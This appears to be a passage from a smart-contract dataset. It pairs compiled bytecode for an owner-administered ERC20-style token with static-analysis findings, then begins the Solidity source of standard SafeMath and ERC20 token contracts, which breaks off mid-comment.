6101000a900460ff16151515610ef957600080fd5b6000821480610f8457506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610ff8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f41312d20526573657420616c6c6f77616e636520746f2030206669727374000081525060200191505060405180910390fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b6111f86000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166145579092919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60015481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b600060088054905014156113e757600091506115e3565b6001600880549050038411151515611467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4c312d20506c656173652073656c65637420612076616c69642073746172740081525060200191505060405180910390fd5b600083111561150057838311801561148757506001600880549050038311155b15156114fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c322d20506c656173652073656c65637420612076616c69642073746f70000081525060200191505060405180910390fd5b61150c565b60016008805490500392505b8390505b82811115156115de578060088281548110151561152957fe5b9060005260206000200160405180838152602001806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156115c25780601f10611597576101008083540402835291602001916115c2565b820191906000526020600020905b8154815290600101906020018083116115a557829003601f168201915b5050935050505060405180910390a08080600101915050611510565b600191505b5092915050565b60008060149054906101000a900460ff1615151561160757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f5446312d20506c6561736520636865636b2074686520726563697069656e742081526020017f616464726573730000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156117af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f5446322d205468652062616c616e6365206f662073656e64657220697320746f81526020017f6f206c6f7700000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f5446332d2054686520616c6c6f77616e6365206f662073656e6465722069732081526020017f746f6f206c6f770000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f5446342d205468652077616c6c6574206f662073656e6465722069732066726f81526020017f7a656e000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f5446352d205468652077616c6c6574206f6620726563697069656e742069732081526020017f66726f7a656e000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611aeb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b8082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461466d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5282600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464590919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60026020528060005260406000206000915090505481565b601281565b60056020528060005260406000206000915054906101000a900460ff1681565b64077359400081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b600060149054906101000a900460ff161515611e6757600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612052576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f42312d205468652062616c616e6365206f66206275726e657220697320746f6f81526020017f206c6f770000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6120a482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fc8260015461464590919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b60008060149054906101000a900460ff1615151561223a57600080fd5b6122c982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b600060149054906101000a900460ff1615151561255d57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b8060098190555050565b6040805190810160405280600881526020017f4b52595054494e5500000000000000000000000000000000000000000000000081525081565b60008060149054906101000a900460ff161515156126ef57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156127b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001807f54312d20526563697069656e742063616e206e6f74206265207468652073616d81526020017f652061732073656e64657200000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612884576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f54322d20506c6561736520636865636b2074686520726563697069656e74206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612961576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f54332d205468652062616c616e6365206f662073656e64657220697320746f6f81526020017f206c6f770000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515612a49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f54342d205468652077616c6c6574206f662073656e6465722069732066726f7a81526020017f656e00000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515612b31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f54352d205468652077616c6c6574206f6620726563697069656e74206973206681526020017f726f7a656e00000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b612b8382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c1882600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461466d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60095481565b60006060806000806008805490501415612ced5760009350612f4c565b60086007866040518082805190602001908083835b602083101515612d275780518252602082019150602081019050602083039250612d02565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060000154815481101515612d6a57fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612e085780601f10612ddd57610100808354040283529160200191612e08565b820191906000526020600020905b815481529060010190602001808311612deb57829003601f168201915b5050505050925084915081518351141515612e265760009350612f4c565b600090505b8251811015612f47578181815181101515612e4257fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181101515612ebd57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141515612f3a5760009350612f4c565b8080600101915050612e2b565b600193505b505050919050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000806060600060149054906101000a900460ff16151515612f9557600080fd5b6009548710151515613035576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f56312d20496e73756666696369656e74207061796d656e742070726f7669646581526020017f640000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156130f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f56322d20556e7665726966696564207075626c6973686572206164647265737381525060200191505060405180910390fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f56332d205468652077616c6c6574206f66207075626c6973686572206973206681526020017f726f7a656e00000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60408651141515613257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f56342d20496e76616c696420686173682070726f76696465640000000000000081525060200191505060405180910390fd5b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806132f95750600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561332457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1697505b600091508590508415613571576000600880549050111561344c5760006007826040518082805190602001908083835b6020831015156133795780518252602082019150602081019050602083039250613354565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206000015414151561344b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f56352d20546869732068617368207761732070726576696f75736c792076616c81526020017f696461746564000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b5b6001600882908060018154018082558091505090600182039060005260206000200160009091929091909150908051906020019061348b929190614695565b50036007826040518082805190602001908083835b6020831015156134c557805182526020820191506020810190506020830392506134a0565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600001819055506007816040518082805190602001908083835b6020831015156135375780518252602082019150602081019050602083039250613512565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206000015491505b86600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561370a5761368587600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613835565b61375c87600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137f187600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461466d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef896040518082815260200191505060405180910390a38315613945577f9c0869bc3817f1ac640137074dc06b0f25f80f238c719419b6cff93dfab4dd4182826040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156139095780820151818401526020810190506138ee565b50505050905090810190601f1680156139365780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15b60019250505095945050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ff022c1fbc00daf4d2e6cdc62e0338b967bd3be38ccc3d7f8e0168bd668c7bcfe8383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a16001905092915050565b6000613af4614715565b600085826000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050848260200181815250508382604001819052506018846000815181101515613b5257fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900463ffffffff169060020a026010856001815181101515613bdc57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900463ffffffff169060020a026008866002815181101515613c6657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900463ffffffff169060020a02866003815181101515613cee57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040101019050807c01000000000000000000000000000000000000000000000000000000000282606001907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815250506001925050509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550816040518082805190602001908083835b602083101515613f2a5780518252602082019150602081019050602083039250613f05565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff167f292123b68099c6aa2b5d37989544acbb7000794b52d1f629067b3f3ee1ce79fa85604051808215151515815260200191505060405180910390a3600190509392505050565b60008060149054906101000a900460ff16151515613fd157600080fd5b61406082600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461466d90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614316576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614440576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f312d204f776e6572206f6e6c792066756e6374696f6e00000000000000000081525060200191505060405180910390fd5b82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550816040518082805190602001908083835b6020831015156144cd57805182526020820191506020810190506020830392506144a8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff167f3d08b6e3d62b04396eca9fe996bd52ef13d33affdfb79e470ed9fdbe4910452385604051808215151515815260200191505060405180910390a3600190509392505050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156145fa57600080fd5b505af115801561460e573d6000803e3d6000fd5b505050506040513d602081101561462457600080fd5b8101908080519060200190929190505050151561464057600080fd5b505050565b6000818303905082821115801561465c5750828111155b151561466457fe5b80905092915050565b600081830190508281101580156146845750818110155b151561468c57fe5b80905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106146d657805160ff1916838001178555614704565b82800160010185558215614704579182015b828111156147035782518255916020019190600101906146e8565b5b5090506147119190614773565b5090565b608060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016060815260200160007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681525090565b61479591905b80821115614791576000816000905550600101614779565b5090565b905600a165627a7a72305820a47c68ad209565d5d2fa5d7ceff55d6332e0ac68a00bc9043e5c6676b2c2759a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,127
0xbf41f10ebef3dd7d2e6b6b7279840b060a6f58d2
pragma solidity ^0.4.24; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From 